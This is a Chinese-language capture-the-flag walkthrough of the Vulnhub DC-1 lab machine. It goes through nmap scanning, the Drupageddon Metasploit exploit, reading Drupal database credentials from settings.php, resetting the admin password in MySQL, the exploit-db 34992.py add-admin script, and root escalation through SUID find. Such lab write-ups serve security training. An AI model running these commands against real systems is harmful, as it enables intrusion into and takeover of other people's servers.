配置信息:
靶机下载地址:Vulnhub-DC
靶机:DC1 (VirtualBox)  IP:192.168.67.200
攻机:Kali (Local)     IP:192.168.67.109
目标:获取5个flag
开始游戏:

nmap -sn 192.168.67.0/24
获取目标IP地址:192.168.67.200

扫描目标信息:
nmap -A -p- 192.168.67.200
获取目标开放端口:22 [ssh] || 80[http] || 111[rpc]
获取目标系统信息:Linux 3.2 - 3.16

发现开放80端口,因此尝试登录网页,浏览器输入:http://192.168.67.200

左上方发现CMS为Drupal


CMS:Drupal7
Web servers:Apache2.2.22
Programming languages:PHP5.4.45
Operating system:Debian
JavaScript libraries:JQuery1.4.4 jQuery UI1.8.7

使用 wappalyzer 插件确认获取网站相关信息:

注:Wappalyzer是一款能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数的网站技术分析插件

确认 CMS 为 Drupal,利用msfconsole获取meterpreter:(use rank:excellent)
search drupal
use exploit/multi/http/drupal_drupageddon
show options
set RHOSTS 192.168.67.200
exploit


在meterpreter下获取交互式反弹shell:
meterpreter > shell
python -c 'import pty;pyt.spawn("\bin\sh")'
$ ls

输入命令 ls 发现有一个 flag1.txt,果断查看它,这就得到了flag1
$ls
$cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you

每一个好的 CMS 都需要一个配置文件,你也如此。

根据falg1的提示,利用搜索引擎查询Drupal的配置文件


得到一个地址:/sites/default/settings.php —— 利用 more 查看全部信息

获取 flag2,这就得到了第二个 flag2

$more sites/default/settings.php
more sites/default/settings.php
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
暴力破解和字典攻击并不是取得访问权限的唯一方式(你需要访问权限),利用这些凭证你能做什么?
这是 flag2 给我们留下的信息,再回看该配置文件,会发现这里有关于数据库的详细信息:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
尝试进入 mysql :
$ mysql -h localhost -u dbuser -p
mysql -h localhost -u dbuser -p
Enter password: R0ck3t
show databases;

use drupaldb;
show tables;
select * from users;
查询有哪些表时,可以很明显的看到有 users 这个表,果断 select 一发再说

这就得到了用户名和一串奇奇怪怪的密码,再次利用搜索引擎,可搜索:drupal7忘记密码怎么办?drupal7如何重置密码?drupal7如何修改密码?类似这些问题,让开发者或研究人士告诉我们答案


还真告诉了,直接重置管理员密码登录。
exit
$ls
$php ./scripts/password-hash.sh 123456
mysql -h localhost -u dbuser -p
Enter password:R0ck3t
use drupaldb;
update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
登录成功

有时直接修改太过明目张胆,那么有没有较隐蔽的方法呢?有什么比较隐蔽的方法能够也是以管理员的身份去登录的呢?要不试试添加一个管理员帐号?

首先得知道版本号,看能否利用,一般在modules/system/system.info可以看到版本号,如果不知道,利用搜索引擎也可得知这一信息:


cat modules/system/system.info

得到该Drupal的版本为7.24

在kali上查询是否存在添加管理员漏洞可利用:
searchexploit drupal

发现有 Add Admin User 可以利用且版本符合条件
copy一份到家目录下,随后添加一个具有管理员权限的账户
cp /usr/share/exploitdb/exploits/php/webapps/34992.py /root/34992.py
cd ~
python 34992.py -h
python 34992.py -t http://192.168.67.200 -u whoami -p 123456
登录成功


随后浏览页面[每个按钮都去点],看有无新发现,在find content找到了flag3

点击 flag3,可以获得flag3详细信息:

特殊的PERMS可以帮助找到密码-但您需要-exec该命令来隐藏的内容。

很明显的提示:find+perms+exec 命令用来提权

首先利用 find 命令查看有哪些 suid 命令:

find / -perm -4000

利用 find 提权,find 提权有两种方式:

/这是第一种/
find ./ acce -exec '/bin/sh' \;

/这是第二种/
touch bcce
find bcce -exec '/bin/sh' \;

这就拿到了 root 权限,查找有无flag4

可以发现 flag4 是一个用户...
find / -name "flag4
cd /home/flag4
cat flag4.txt

你能利用同样的方法用root权限找到或访问到flag吗?
貌似我们已经进入了root环境下,竟然flag4在家目录下,那么flag5会不会在root目录下? —— 找到 flag5:thefinalflag

游戏结束

总结:
0:MSF 漏洞模块利用
1:配置文件
2:搜索引擎的合理应用
3:提权